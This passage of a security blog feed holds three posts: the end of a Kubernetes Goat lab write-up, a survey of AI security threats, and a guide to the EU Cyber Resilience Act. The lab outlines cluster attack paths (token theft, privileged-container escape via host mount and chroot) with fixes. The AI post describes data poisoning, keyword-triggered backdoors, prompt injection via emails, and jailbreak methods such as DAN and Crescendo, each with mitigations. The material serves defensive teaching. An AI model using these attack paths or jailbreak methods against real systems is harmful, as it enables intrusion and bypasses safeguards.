<p>Where CDK answers "what can I do from this pod right now", Kubehound answers "how does this pod connect to the rest of the cluster". After ingestion, open the Jupyter UI at <code>http://localhost:8888</code>. Kubehound ships with pre-built query notebooks.</p>
<p><strong>Find all paths from any pod to cluster-admin:</strong></p>
<pre><code class="language-python">g.V().hasLabel('Pod').repeat(
    outE().inV().simplePath()
).until(
    has('critical', true)
).path().by('name').by(label).limit(20).toList()
</code></pre>
<p><strong>Find over-permissioned service accounts:</strong></p>
<pre><code class="language-python">g.V().hasLabel('ServiceAccount')
  .where(outE('PERMISSION').inV().has('resource', 'secrets').has('scope', 'cluster'))
  .values('name').toList()
</code></pre>
<p><strong>Find pods with direct escape paths to nodes:</strong></p>
<pre><code class="language-python">g.V().hasLabel('Pod')
  .where(outE('EXPLOIT').inV().hasLabel('Node'))
  .values('name').toList()
</code></pre>
<p>The graph view makes attack chains navigable in a way that a flat list of findings does not. You can see the specific misconfiguration that serves as the pivot point at each hop, which directly informs remediation priority.</p>
<p>The attack paths that surfaced on my Kubernetes Goat setup:</p>
<ul>
<li><p>Pod with <code>list secrets</code> permission on the cluster scope -&gt; retrieve a second service account token -&gt; that token has <code>create pods</code> -&gt; deploy a privileged pod -&gt; node escape</p>
</li>
<li><p>Privileged container with hostPath mount -&gt; node access -&gt; read kubelet credentials -&gt; API server access as a node identity</p>
</li>
<li><p>Default namespace service account -&gt; <code>get/list pods</code> cluster-wide -&gt; identify pods with mounted secrets -&gt; targeted credential theft</p>
</li>
</ul>
<hr />
<h2>Running Kubescape</h2>
<p>Run Kubescape against the live Kubernetes Goat cluster to see the misconfigurations mapped to security frameworks.</p>
<p><strong>Scan against the NSA-CISA framework:</strong></p>
<pre><code class="language-bash">kubescape scan framework nsa --kubeconfig ~/.kube/config
</code></pre>
<p><strong>Scan against MITRE ATT&amp;CK for Containers:</strong></p>
<pre><code class="language-bash">kubescape scan framework mitre --kubeconfig ~/.kube/config
</code></pre>
<p><strong>Full scan across all frameworks, output to JSON:</strong></p>
<pre><code class="language-bash">kubescape scan --enable-host-scan -v \
  --format json \
  --output kubescape-results.json
</code></pre>
<p><strong>Scope to specific namespaces:</strong></p>
<pre><code class="language-bash">kubescape scan --include-namespaces default,kube-system
</code></pre>
<hr />
<h2>Key Findings and How Attackers Leverage Them</h2>
<p>The following are the findings Kubescape surfaces on a fresh Kubernetes Goat cluster, with the direct attacker path each one enables.</p>
<h3>Automounted service account tokens in all pods</h3>
<p><strong>Framework:</strong> NSA-CISA / MITRE T1552.007 (Unsecured Credentials: Container API)</p>
<p>Every pod gets a service account token mounted by default unless <code>automountServiceAccountToken: false</code> is explicitly set at the pod or namespace level. Combined with over-permissive RBAC, this is one of the most common paths to cluster-wide access.</p>
<p><strong>Attacker path:</strong> Exec into any pod -&gt; read the token -&gt; query the API server -&gt; enumerate or escalate depending on what RBAC the service account has.</p>
<p><strong>Fix:</strong> Set <code>automountServiceAccountToken: false</code> at the namespace or pod spec level for any workload that does not need API access.</p>
<hr />
<h3>Privileged containers</h3>
<p><strong>Framework:</strong> NSA-CISA / MITRE T1611 (Escape to Host)</p>
<p>Containers running with <code>securityContext.privileged: true</code> have full access to the host kernel's features. Combined with a hostPath mount or direct access to a block device, this is a straightforward container escape.</p>
<p><strong>Attacker path:</strong> Shell in container -&gt; mount host disk -&gt; chroot to host OS -&gt; root on the node.</p>
<p><strong>Fix:</strong> Pod Security Admission (PSA) with the <code>restricted</code> or <code>baseline</code> profile enforces at admission time and blocks privileged containers from being scheduled.</p>
<hr />
<h3>No Network Policies defined</h3>
<p><strong>Framework:</strong> NSA-CISA</p>
<p>With no NetworkPolicy resources in the cluster, every pod can communicate with every other pod across all namespaces. There is no lateral movement barrier.</p>
<p><strong>Attacker path:</strong> Compromised pod in <code>default</code> namespace -&gt; reach pods in <code>kube-system</code> -&gt; access monitoring agents, internal APIs, or services with elevated permissions.</p>
<p><strong>Fix:</strong> Default-deny NetworkPolicy per namespace with explicit ingress/egress rules for each workload.</p>
<hr />
<h3>Secrets exposed as environment variables</h3>
<p><strong>Framework:</strong> MITRE T1552 (Unsecured Credentials)</p>
<p>Kubernetes Goat Scenario 1 deliberately stores credentials as environment variables. CDK's <code>evaluate</code> command prints all environment variables, so this information is available to an attacker within seconds of landing in the container. The same data is also visible in <code>kubectl describe pod</code> to anyone with pod read access.</p>
<p><strong>Attacker path:</strong> CDK evaluate -&gt; environment variables printed -&gt; credentials harvested immediately.</p>
<p><strong>Fix:</strong> Mount secrets as files from Kubernetes Secrets objects rather than injecting them as environment variables. Better still, use an external secrets manager with short-lived credentials (AWS Secrets Manager, HashiCorp Vault, Azure Key Vault).</p>
<hr />
<h3>Host PID or Host Network namespace sharing</h3>
<p><strong>Framework:</strong> MITRE T1543 (Create or Modify System Process)</p>
<p>Pods with <code>hostPID: true</code> can see and signal all processes running on the host. Pods with <code>hostNetwork: true</code> bind to the node's network interfaces and bypass all Kubernetes-level network policies.</p>
<p><strong>Attacker path (hostPID):</strong> View host process list -&gt; ptrace or signal processes -&gt; credential theft from process memory.</p>
<p><strong>Attacker path (hostNetwork):</strong> Bypass pod-level network isolation -&gt; directly reach cluster-internal services that are otherwise firewalled from the pod network.</p>
<hr />
<h3>No resource limits on pods</h3>
<p><strong>Framework:</strong> NSA-CISA</p>
<p>Less obviously offensive, but no CPU or memory limits means an attacker can run high-intensity workloads (cryptomining, brute-force) without triggering resource-based anomaly detection. It also makes it harder to identify abnormal compute usage during an incident.</p>
<hr />
<h2>Putting It All Together</h2>
<p>Running through this lab end to end, the picture that emerges is consistent with what we see in real cloud environments. Initial access to a single pod, combined with a handful of common misconfigurations, creates a realistic path to cluster-admin or node compromise without needing any CVE exploitation at all.</p>
<p>CDK makes the attacker's first few minutes very fast. Within 30 seconds of landing in a container, <code>evaluate</code> surfaces service account tokens, escape vectors, and cloud metadata reachability. Kubehound then shows you how those individual issues connect into multi-hop attack chains. Kubescape maps all of it to framework controls with risk scores.</p>
<p>The value of running this locally is not just understanding the individual tools. It is seeing how misconfigurations that seem low-risk in isolation (a service account with list permissions, a container without resource limits) combine into something much more serious.</p>
<hr />
<h2>What is Coming in Part 2</h2>
<p>Now that the attacker's activity at each stage is clear, Part 2 covers how to detect it.</p>
<p><strong>Falco</strong> for runtime detection of exactly the behavior CDK produces: unexpected binary execution inside containers, service account token reads, unusual mount syscalls, and API server calls that match enumeration patterns.</p>
<p><strong>Tetragon</strong> for eBPF-based enforcement at the syscall level. Unlike Falco, Tetragon can terminate the offending process in-kernel, not just alert on it.</p>
<p><strong>kube-bench</strong> for CIS Benchmark scanning at the node and control plane level, complementing the workload-level findings from Kubescape with node configuration checks.</p>
<p><strong>Wazuh</strong> for SIEM integration. Pulling Kubernetes audit logs, Falco alerts, and node-level logs into Wazuh to build correlation rules that connect the individual signals into a detection pipeline.</p>
<p>The goal for Part 2 is that every attacker step described in this post has a corresponding detection signal and a clear log source.</p>
<hr />
<p><em>Resources:</em></p>
<ul>
<li><p><a href="https://github.com/madhuakula/kubernetes-goat">Kubernetes Goat</a></p>
</li>
<li><p><a href="https://github.com/cdk-team/CDK">CDK</a></p>
</li>
<li><p><a href="https://github.com/DataDog/KubeHound">Kubehound</a></p>
</li>
<li><p><a href="https://github.com/kubescape/kubescape">Kubescape</a></p>
</li>
<li><p><a href="https://kind.sigs.k8s.io/">Kind</a></p>
</li>
<li><p><a href="https://attack.mitre.org/matrices/enterprise/containers/">MITRE ATT&amp;CK for Containers</a></p>
</li>
<li><p><a href="https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF">NSA-CISA Kubernetes Hardening Guide</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Securing AI Models: Understanding Threats and Testing Strategies]]></title><description><![CDATA[Explore AI security threats and testing strategies to fortify models against data poisoning, backdooring, IP theft, and other emerging risks]]></description><link>https://nebulablogs.com/securing-ai-models-understanding-threats-and-testing-strategies</link><guid isPermaLink="true">https://nebulablogs.com/securing-ai-models-understanding-threats-and-testing-strategies</guid><category><![CDATA[ai security]]></category><category><![CDATA[Security]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[privacy]]></category><category><![CDATA[Machine Learning]]></category><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Sun, 24 Aug 2025 11:35:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/yeq1LiCPSUI/upload/6484454f826f0c59dc66a238fb7d0e91.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>As AI systems become increasingly integrated into critical workflows, their <strong>attack surface grows in complexity</strong>. Models can be exploited at different stages: training, deployment, and interaction, making it essential for security professionals to understand the unique risks and build tailored defenses.</p>
<p>This post expands on the key AI security threats discussed in the session, along with practical mitigations to help AppSec engineers, developers, and safety, data privacy teams strengthen their AI environments.</p>
<hr />
<h2 id="heading-1-platform-security-threats">1. Platform Security Threats</h2>
<p>Platform-level threats target the <strong>model itself or the infrastructure supporting it</strong>. These attacks are often hard to detect and can have long-term consequences.</p>
<h3 id="heading-data-poisoning"><strong>Data Poisoning</strong></h3>
<p>Data poisoning happens when attackers inject malicious or misleading data into datasets used during training or fine-tuning. For example, attackers might seed incorrect labels or deliberately harmful patterns into public datasets that a company scrapes for training.</p>
<p><strong>Why it’s dangerous:</strong></p>
<ul>
<li><p>Poisoned data can create subtle model errors that are difficult to trace back.</p>
</li>
<li><p>Models may include backdoors, which can be triggered later with specific inputs to produce harmful or biased results.</p>
</li>
</ul>
<p><strong>Mitigation strategies:</strong></p>
<ul>
<li><p>Use curated, trusted datasets wherever possible.</p>
</li>
<li><p>Validate and sanitize external data before training.</p>
</li>
<li><p>Continuously evaluate models with test sets designed to detect poisoned behavior.</p>
</li>
</ul>
<hr />
<h3 id="heading-model-backdooring"><strong>Model Backdooring</strong></h3>
<p>Model backdooring occurs when a malicious actor intentionally alters a model during training or supply-chain processes so that it behaves normally most of the time but responds maliciously to specific triggers.</p>
<p><strong>Example:</strong> A backdoored model might generate malware code only when prompted with a certain keyword.</p>
<p><strong>Mitigation strategies:</strong></p>
<ul>
<li><p>Use signed model artifacts and integrity checks to ensure the source is trusted.</p>
</li>
<li><p>Test models against a library of adversarial prompts to detect anomalous behaviors.</p>
</li>
<li><p>Implement monitoring to flag suspicious patterns in production.</p>
</li>
</ul>
<hr />
<h3 id="heading-ip-theft"><strong>IP Theft</strong></h3>
<p>Intellectual property theft occurs when attackers try to replicate a model’s capabilities through <strong>model inversion attacks</strong> or by directly exfiltrating model files. With repeated queries, an attacker can approximate the model’s decision boundaries, effectively cloning its functionality.</p>
<p><strong>Why it’s dangerous:</strong></p>
<ul>
<li><p>Replicated models can erode competitive advantage.</p>
</li>
<li><p>Cloned models may be used for malicious purposes while bearing your system’s “signature.”</p>
</li>
</ul>
<p><strong>Mitigation strategies:</strong></p>
<ul>
<li><p>Apply strict API rate limiting and anomaly detection to detect scraping.</p>
</li>
<li><p>Embed subtle watermarks or fingerprinting in the model outputs to identify misuse.</p>
</li>
<li><p>Use encrypted storage and access controls to prevent direct theft.</p>
</li>
</ul>
<hr />
<h3 id="heading-data-exfiltration"><strong>Data Exfiltration</strong></h3>
<p>Models can inadvertently memorize sensitive data from their training sets. Attackers can then query the model to extract personal, confidential, or proprietary data.</p>
<p><strong>Example:</strong> A model trained on private customer support logs might unintentionally reveal a user’s address or account information.</p>
<p><strong>Mitigation strategies:</strong></p>
<ul>
<li><p>Use differential privacy techniques during training to reduce memorization.</p>
</li>
<li><p>Perform regular red-team testing to simulate data extraction attempts.</p>
</li>
<li><p>Audit model responses to ensure they don’t inadvertently leak private data.</p>
</li>
</ul>
<hr />
<h2 id="heading-2-application-security-threats">2. Application Security Threats</h2>
<p>These threats exploit <strong>how the AI model is used</strong> in applications, APIs, or integrated workflows.</p>
<h3 id="heading-inferential-information-disclosure"><strong>Inferential Information Disclosure</strong></h3>
<p>Attackers craft queries to reverse-engineer sensitive information from the model, including personal identifiable information (PII) or entire training samples.</p>
<p><strong>Why it’s dangerous:</strong></p>
<ul>
<li>Can lead to severe privacy violations or compliance breaches (GDPR, HIPAA).</li>
</ul>
<p><strong>Mitigation strategies:</strong></p>
<ul>
<li><p>Sanitize all responses, especially when models interact with sensitive datasets.</p>
</li>
<li><p>Limit model access to only necessary data and enforce contextual boundaries.</p>
</li>
</ul>
<hr />
<h3 id="heading-misclassification"><strong>Misclassification</strong></h3>
<p>Small, intentional changes to input data can cause a model to misclassify results. For example, adversarial stickers placed on a stop sign can make a vision model misidentify it as a yield sign.</p>
<p><strong>Real-world impact:</strong></p>
<ul>
<li><p>Safety hazards in autonomous driving systems.</p>
</li>
<li><p>Incorrect fraud detection or medical diagnoses in critical applications.</p>
</li>
</ul>
<p><strong>Mitigation strategies:</strong></p>
<ul>
<li><p>Use adversarial training techniques to harden models.</p>
</li>
<li><p>Deploy input validation layers to detect suspicious patterns or perturbations.</p>
</li>
<li><p>Implement human-in-the-loop checks for high-risk actions.</p>
</li>
</ul>
<hr />
<h3 id="heading-cross-prompt-injection"><strong>Cross-Prompt Injection</strong></h3>
<p>This occurs when malicious instructions are hidden in data sources consumed by the AI system, such as emails, documents, or websites. When the model processes these inputs, it inadvertently executes the hidden instructions, potentially leaking sensitive data or performing unintended actions.</p>
<p><strong>Example:</strong> A support chatbot pulling customer emails could be tricked into sending internal data to an attacker if a prompt-injection payload is hidden in the email text.</p>
<p><strong>Mitigation strategies:</strong></p>
<ul>
<li><p>Sanitize all external data before it’s processed by the model.</p>
</li>
<li><p>Use strong guardrails to prevent execution of hidden commands.</p>
</li>
<li><p>Regularly test with synthetic injection attempts to measure system resilience.</p>
</li>
</ul>
<hr />
<h2 id="heading-3-user-level-security-threats">3. User-Level Security Threats</h2>
<p>These attacks happen at the <strong>interaction layer</strong>, often relying on crafted prompts that trick the model into bypassing its guardrails.</p>
<h3 id="heading-direct-prompt-injection-jailbreaking"><strong>Direct Prompt Injection (Jailbreaking)</strong></h3>
<p>Attackers exploit the model’s natural language interface to override restrictions or ethical guidelines.</p>
<p><strong>Common techniques include:</strong></p>
<ul>
<li><p><strong>“Do Anything Now” (DAN):</strong> Coaxes the model into adopting an unrestricted persona.</p>
</li>
<li><p><strong>Crescendo Attack:</strong> Begins with harmless prompts and gradually escalates to malicious ones to avoid triggering filters.</p>
</li>
<li><p><strong>Master Key Attacks:</strong> Explicitly request the model to disable all safety protocols, often combined with obfuscation.</p>
</li>
</ul>
<p><strong>Mitigation strategies:</strong></p>
<ul>
<li><p>Continuously update prompt filters and defensive patterns.</p>
</li>
<li><p>Implement multi-layered monitoring to detect jailbreak attempts.</p>
</li>
<li><p>Leverage reinforcement learning with human feedback to improve the model’s ability to resist manipulation.</p>
</li>
</ul>
<hr />
<h2 id="heading-key-takeaways-for-testing-and-securing-ai">Key Takeaways for Testing and Securing AI</h2>
<ol>
<li><p><strong>Red-team your models regularly.</strong> Treat AI systems like production applications, assume they will be attacked and build testing processes accordingly.</p>
</li>
<li><p><strong>Monitor for abnormal patterns.</strong> Flag unusual input patterns, high query volumes, or anomalous responses in production.</p>
</li>
<li><p><strong>Shift security left.</strong> Integrate adversarial testing and security reviews early in the AI development lifecycle.</p>
</li>
<li><p><strong>Educate your teams.</strong> Developers, data scientists, and security engineers need a shared vocabulary and strategy for managing AI risks.</p>
</li>
</ol>
<hr />
<p>For a deeper dive into these threats and their real-world implications, watch the full session:<br /><strong>Inside AI Security with Mark Russinovich | BRK227</strong><br /><a target="_blank" href="https://youtu.be/f0MDjS9-dNw">https://youtu.be/f0MDjS9-dNw</a></p>
<p>By understanding these attack vectors and adopting layered defenses, organizations can build AI systems that are not just innovative, but also resilient, trustworthy, and secure.</p>
]]></content:encoded></item><item><title><![CDATA[A Comprehensive Guide to the EU Cyber Resilience Act (CRA) for Manufacturers]]></title><description><![CDATA[Guide for manufacturers: EU Cyber Resilience Act covers cybersecurity requirements, classification, obligations, and assessments for digital products]]></description><link>https://nebulablogs.com/a-comprehensive-guide-to-the-eu-cyber-resilience-act-cra-for-manufacturers</link><guid isPermaLink="true">https://nebulablogs.com/a-comprehensive-guide-to-the-eu-cyber-resilience-act-cra-for-manufacturers</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Security]]></category><category><![CDATA[regulatory compliance]]></category><category><![CDATA[CyberSec]]></category><category><![CDATA[Data security]]></category><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Sat, 23 Aug 2025 18:37:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/Hlkuojv_P6I/upload/de0f2e7b8eaf7a55ac4f78d47e85b89c.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<h1 id="heading-eu-cyber-resilience-act-cra">EU Cyber Resilience Act (CRA)</h1>
<p><strong>Abbreviations &amp; Terms:</strong></p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Number</td><td>Abbreviation</td><td>Description</td></tr>
</thead>
<tbody>
<tr>
<td>1</td><td>ENISA</td><td>The European Union Agency for Cybersecurity</td></tr>
<tr>
<td>2</td><td>SBOM</td><td>Software Bill of Materials</td></tr>
<tr>
<td>3</td><td>CRA</td><td>Cyber Resilience Act</td></tr>
<tr>
<td>4</td><td>NIS2</td><td>Network and Information Security Directive 2022/0383</td></tr>
<tr>
<td>5</td><td>HSM</td><td>Hardware Security Module</td></tr>
<tr>
<td>6</td><td>ASIC</td><td>Application-specific integrated circuit</td></tr>
<tr>
<td>7</td><td>IACS</td><td>Industrial Automation and Control Systems</td></tr>
<tr>
<td>8</td><td>EU-CyCLONe</td><td>The European cyber crisis liaison organization network</td></tr>
</tbody>
</table>
</div><h2 id="heading-1-introduction">1. Introduction</h2>
<p>On 15 September 2022 the European Commission presented a legislative proposal for the EU cyber resilience act (CRA), which introduces mandatory cybersecurity requirements for products with digital elements.</p>
<h2 id="heading-2-scope">2. Scope</h2>
<p>The scope of the proposal covers a broad range of devices - (digital) products that are connected directly or indirectly to a device or network, including hardware, software and ancillary services.</p>
<p>For example:</p>
<ul>
<li><p>Hardware products and components placed on the market separately, such as laptops, smart appliances, mobile phones, network equipment CPUs or GPUs.</p>
</li>
<li><p>Software products and components placed on the market separately, such as operating systems, software libraries, word processing, games or mobile applications.</p>
</li>
</ul>
<p>The manufacturers and service providers of the products covered by the proposal are required to ensure that their digital products are designed and manufactured to meet the expected cybersecurity requirements and provide security updates until the end of their product life cycle (5 years).</p>
<p><strong>The proposal does not cover:</strong></p>
<ul>
<li><p>Non-commercial, open-source projects - Software that is openly shared and freely accessible, usable, modifiable and redistributable.</p>
</li>
<li><p>Services, in particular Cloud/Software as a Service covered by NIS2.</p>
</li>
<li><p>Certain products which are sufficiently regulated on cybersecurity already (cars, medical devices, in vitro, certified aeronautical equipment, high-risk AI systems).</p>
</li>
<li><p>Digital products that do not establish a direct or indirect data connection to other devices or networks.</p>
</li>
</ul>
<h2 id="heading-3-aim-of-the-proposal">3. Aim of the Proposal</h2>
<ul>
<li><p>Ensure that products with digital elements placed on the EU market have fewer vulnerabilities</p>
</li>
<li><p>Obligate manufacturers to remain responsible for cybersecurity throughout a product’s life cycle</p>
</li>
<li><p>Improve transparency on security of hardware and software products</p>
</li>
</ul>
<h2 id="heading-4-classification-of-products">4. Classification of Products</h2>
<p>The legislation considers certain digital products as 'Critical' based on the core functionality of the product.</p>
<p>The 'Critical' products are further divided into two subclasses (Class 1 and Class 2) based on the level of cybersecurity risks and their use in sensitive environments.</p>
<p><strong>Class I Critical Products:</strong></p>
<ul>
<li><p>Identity management systems software and privileged access management software.</p>
</li>
<li><p>Standalone and embedded browsers.</p>
</li>
<li><p>Password managers.</p>
</li>
<li><p>Malware detection and removal tools.</p>
</li>
<li><p>Virtual private network (VPN) products with digital elements.</p>
</li>
<li><p>Network management systems.</p>
</li>
<li><p>Network configuration management tools.</p>
</li>
<li><p>Network traffic monitoring systems.</p>
</li>
<li><p>Management of network resources.</p>
</li>
<li><p>Security information and event management (SIEM) systems.</p>
</li>
<li><p>Update/patch management, including boot managers.</p>
</li>
<li><p>Application configuration management systems.</p>
</li>
<li><p>Remote access/sharing software.</p>
</li>
<li><p>Mobile device management software.</p>
</li>
<li><p>Physical network interfaces.</p>
</li>
<li><p>Operating systems not covered by Class II.</p>
</li>
<li><p>Firewalls, intrusion detection/prevention systems not covered by Class II.</p>
</li>
<li><p>Routers, modems for internet connection, and switches, not covered by Class II.</p>
</li>
<li><p>Microprocessors not covered by Class II.</p>
</li>
<li><p>Microcontrollers.</p>
</li>
<li><p>Application-specific integrated circuits (ASIC) and field-programmable gate arrays (FPGA).</p>
</li>
<li><p>Industrial Automation &amp; Control Systems (IACS), including programmable logic controllers (PLC), distributed control systems (DCS), CNC, and SCADA, not covered by Class II.</p>
</li>
<li><p>Industrial Internet of Things devices not covered by Class II.</p>
</li>
</ul>
<p><strong>Class II Critical Products:</strong></p>
<ul>
<li><p>Operating systems for servers, desktops, and mobile devices.</p>
</li>
<li><p>Hypervisors and container runtime systems supporting virtualized execution environments.</p>
</li>
<li><p>Public key infrastructure and digital certificate issuers.</p>
</li>
<li><p>Firewalls, intrusion detection/prevention systems intended for industrial use.</p>
</li>
<li><p>General purpose microprocessors.</p>
</li>
<li><p>Microprocessors designed for integration in programmable logic controllers and secure elements.</p>
</li>
<li><p>Routers, modems for internet connection, and switches, intended for industrial use.</p>
</li>
<li><p>Secure elements.</p>
</li>
<li><p>Hardware Security Modules (HSMs).</p>
</li>
<li><p>Secure cryptoprocessors.</p>
</li>
<li><p>Smartcards, smartcard readers, and tokens.</p>
</li>
<li><p>Industrial Automation &amp; Control Systems (IACS) intended for essential entities as per Directive in NIS2.</p>
</li>
<li><p>Industrial Internet of Things devices intended for essential entities under the same directive.</p>
</li>
<li><p>Robot sensing and actuator components and robot controllers.</p>
</li>
<li><p>Smart meters.</p>
</li>
</ul>
<h3 id="heading-41-conformity-assessment-for-critical-products">4.1 Conformity Assessment for Critical Products</h3>
<p>For the 'Critical' class products, the manufacturers are required to apply for a conformity assessment (CA) by the official regulatory body or an approved third party assessor.</p>
<p>For the products which do not fall under the 'Critical' class, the manufacturers are required to self-assess to ensure that they comply with the CRA requirements.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755974017936/4d125656-32ad-459a-8760-6180ea7a9109.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-5-obligations-of-the-manufacturers">5. Obligations of the manufacturers</h2>
<p>Manufacturers have the following obligations when releasing a digital product under CRA regulation on the EU market:</p>
<ol>
<li><p><strong>Compliance with Essential Requirements</strong>: Manufacturers must ensure their products comply with essential cybersecurity requirements (explained in Section 6 of this document).</p>
</li>
<li><p><strong>Cybersecurity Risk Assessment</strong>: Conduct a risk assessment to minimize risks, prevent incidents, and manage impacts related to user health and safety.</p>
</li>
<li><p><strong>Provide Risk Assessment Report</strong>: Include a cybersecurity risk assessment report in technical documentation.</p>
</li>
<li><p><strong>Verify Third Party Components</strong>: Exercise due diligence when integrating third-party components, ensuring they do not compromise product security.</p>
</li>
<li><p><strong>Document Vulnerabilities</strong>: Document relevant cybersecurity aspects concerning the product, including vulnerabilities and information from third parties; update risk assessments as necessary.</p>
</li>
<li><p><strong>Vulnerability Handling</strong>: Identify, report and fix vulnerabilities. See setion 7. Vulnerability Management.</p>
</li>
<li><p><strong>Conformity Assessment</strong>: Carry out conformity assessment procedures, and prepare the EU declaration of conformity if compliance is demonstrated. Include the EU declaration in printed format or provide the web address to the online version.</p>
</li>
<li><p><strong>Documentation Retention</strong>: Keep technical documentation and EU declarations accessible to market surveillance authorities for at least ten years after product placement.</p>
</li>
<li><p><strong>Continuous Conformity</strong>: Ensure products remain in conformity with changes in development processes, design characteristics, standards, certification schemes, or common specifications.</p>
</li>
<li><p><strong>Provide Information to Users</strong>: Provide clear instructions and information about the product's use, including language considerations to ensure understanding by users.</p>
</li>
<li><p><strong>Take Corrective Actions</strong>: Immediately take necessary actions if a product is found not to comply with essential requirements; withdraw or recall products as appropriate.</p>
</li>
<li><p><strong>Cooperation with Authorities</strong>: Cooperate with market surveillance authorities upon request and provide information in an understandable format for conformity assessment.</p>
</li>
<li><p><strong>Notification of Cease Operations</strong>: Inform relevant authorities and users before ceasing operations if unable to fulfill obligations under the regulation.</p>
</li>
<li><p><strong>Software Bill of Materials (SBOM) Format</strong>: The Commission may specify the format and elements of SBOMs through implementing acts, following a specific procedure for adoption.</p>
</li>
</ol>
<h3 id="heading-51-reporting-obligations-of-the-manufacturers">5.1 Reporting obligations of the manufacturers</h3>
<p>The text outlines reporting obligations for manufacturers concerning vulnerabilities and incidents affecting their digital products:</p>
<ol>
<li><p><strong>Vulnerability Reporting</strong>: Manufacturers must notify ENISA about any actively exploited vulnerabilities within 24 hours of discovery, providing details on the vulnerability and any measures taken to address it. Notifications are then forwarded by ENISA to relevant CSIRTs in Member States for coordinated vulnerability disclosure.</p>
</li>
<li><p><strong>Incident Notification</strong>: Similar to vulnerability notifications, manufacturers report incidents impacting product security to ENISA within 24 hours. ENISA forwards these reports to designated single points of contact in Member States and informs market surveillance authorities.</p>
</li>
<li><p><strong>Information Sharing with EU-CyCLONe</strong>: ENISA shares relevant information on vulnerabilities and incidents with the European cyber crisis liaison organization network (EU-CyCLONe) for managing large-scale cybersecurity crises at an operational level.</p>
</li>
<li><p><strong>User Notification</strong>: Manufacturers promptly inform users about incidents, offering corrective measures to mitigate impact when necessary.</p>
</li>
<li><p><strong>Commission Guidance</strong>: The Commission can specify further details on information and procedures for notifications through implementing acts, following a specific adoption procedure.</p>
</li>
<li><p><strong>Biennial Technical Report</strong>: ENISA compiles a biennial technical report on emerging cybersecurity risks in products with digital elements based on received notifications, which is submitted to the Cooperation Group under Directive (NIS2).</p>
</li>
<li><p><strong>Component Vulnerability Reporting</strong>: Manufacturers are required to notify the entity maintaining any component (including open source components) when they identify vulnerabilities within integrated products.</p>
</li>
</ol>
<h2 id="heading-6-cybersecurity-requirements">6. Cybersecurity Requirements</h2>
<p>The proposal outlines the following cybersecurity requirements which the manufacturers must comply with:</p>
<ol>
<li><p><strong>Design, Development and Delivery Standards</strong>: Products must be designed, developed, and produced to ensure an appropriate level of cybersecurity based on risk assessment and the delivered product should not contain any known exploitable vulnerabilities.</p>
</li>
<li><p><strong>Secure Configuration</strong>: Products should come with a secure default configuration that includes options for resetting to original state if necessary.</p>
</li>
<li><p><strong>Protection from Unauthorized Access</strong>: Implementing control mechanisms like authentication, identity management systems, and encryption for data confidentiality are essential.</p>
</li>
<li><p><strong>Data Integrity and Confidentiality</strong>: Protect stored, transmitted, or processed data integrity and confidentiality using state-of-the-art encryption techniques.</p>
</li>
<li><p><strong>Minimization of Data</strong>: Process only adequate, relevant, and necessary data related to the product's intended use (minimization of data).</p>
</li>
<li><p><strong>Availability Protection</strong>: Safeguard essential functions against denial of service attacks and ensure resilience.</p>
</li>
<li><p><strong>Negative Impact Minimization</strong>: Design products to minimize impact on other services provided by devices or networks.</p>
</li>
<li><p><strong>Attack Surface Reduction</strong>: Limit attack surfaces through design, development, and production processes.</p>
</li>
<li><p><strong>Incident Response</strong>: Use appropriate exploitation mitigation mechanisms and techniques to reduce incident impacts.</p>
</li>
<li><p><strong>Security Information Recording/Monitoring</strong>: Record and monitor internal activities related to data access, modification, etc., for security purposes.</p>
</li>
</ol>
<h2 id="heading-7-vulnerability-management">7. Vulnerability Management</h2>
<p>The following is the summary of the vulnerability management process required for the compliance with the CRA:</p>
<ul>
<li><p>Identify vulnerabilities in products</p>
</li>
<li><p>document components (Software billing of materials)</p>
</li>
<li><p>address risks promptly through updates</p>
</li>
<li><p>apply regular security tests/reviews</p>
</li>
<li><p>disclose fixed vulnerabilities publicly</p>
</li>
<li><p>enforce coordinated vulnerability disclosure policies</p>
</li>
<li><p>facilitate information sharing about potential vulnerabilities</p>
</li>
<li><p>ensure secure distribution of updates.</p>
</li>
</ul>
<h2 id="heading-8-technical-documentation">8. Technical Documentation</h2>
<p>The below is a summary of the technical documentation requirements:</p>
<ol>
<li><p><strong>General Product Description</strong>: Details on purpose, software versions impacting compliance, external and internal features, markings, and user information/instructions.</p>
</li>
<li><p><strong>Design, Development &amp; Production Processes</strong>: Full details on product design and development, including system architecture showing component interdependencies, vulnerability handling processes with specifics like the software bill of materials, coordinated disclosure policy, contact for reporting vulnerabilities, secure update distribution methods, production process validation, and monitoring.</p>
</li>
<li><p><strong>Cybersecurity Risk Assessment</strong>: The risk assessment report of the product's design, development, production, delivery and maintenance process.</p>
</li>
<li><p><strong>Standards Compliance</strong>: List the description of the solutions adopted to meet the CRA's cybersecurity requirements.</p>
</li>
<li><p><strong>Conformity Verification Reports</strong>: Test reports confirming compliance with essential requirements in Annex I section 1 and 2.</p>
</li>
<li><p><strong>EU Declaration of Conformity</strong>: A copy of the declaration proving conformity with applicable regulations.</p>
</li>
<li><p><strong>Software Bill of Materials (SBOM)</strong>: SBOM is provided when necessary for market surveillance authorities to verify compliance.</p>
</li>
<li><p><strong>Language Requirements</strong>: A singular technical documentation must be available in an official language of the Member State where the local CRA regulatory body is established.</p>
</li>
</ol>
<h2 id="heading-9-eu-declaration-of-conformity">9. EU declaration of conformity</h2>
<p>The EU declaration of conformity must include:</p>
<ol>
<li><p>Unique product identification details.</p>
</li>
<li><p>Manufacturer's name and address or their authorized representative.</p>
</li>
<li><p>A statement that the declaration is issued under sole responsibility.</p>
</li>
<li><p>Identification of the product for traceability, possibly including a photograph if applicable.</p>
</li>
<li><p>Assurance of conformity with relevant Union harmonization legislation.</p>
</li>
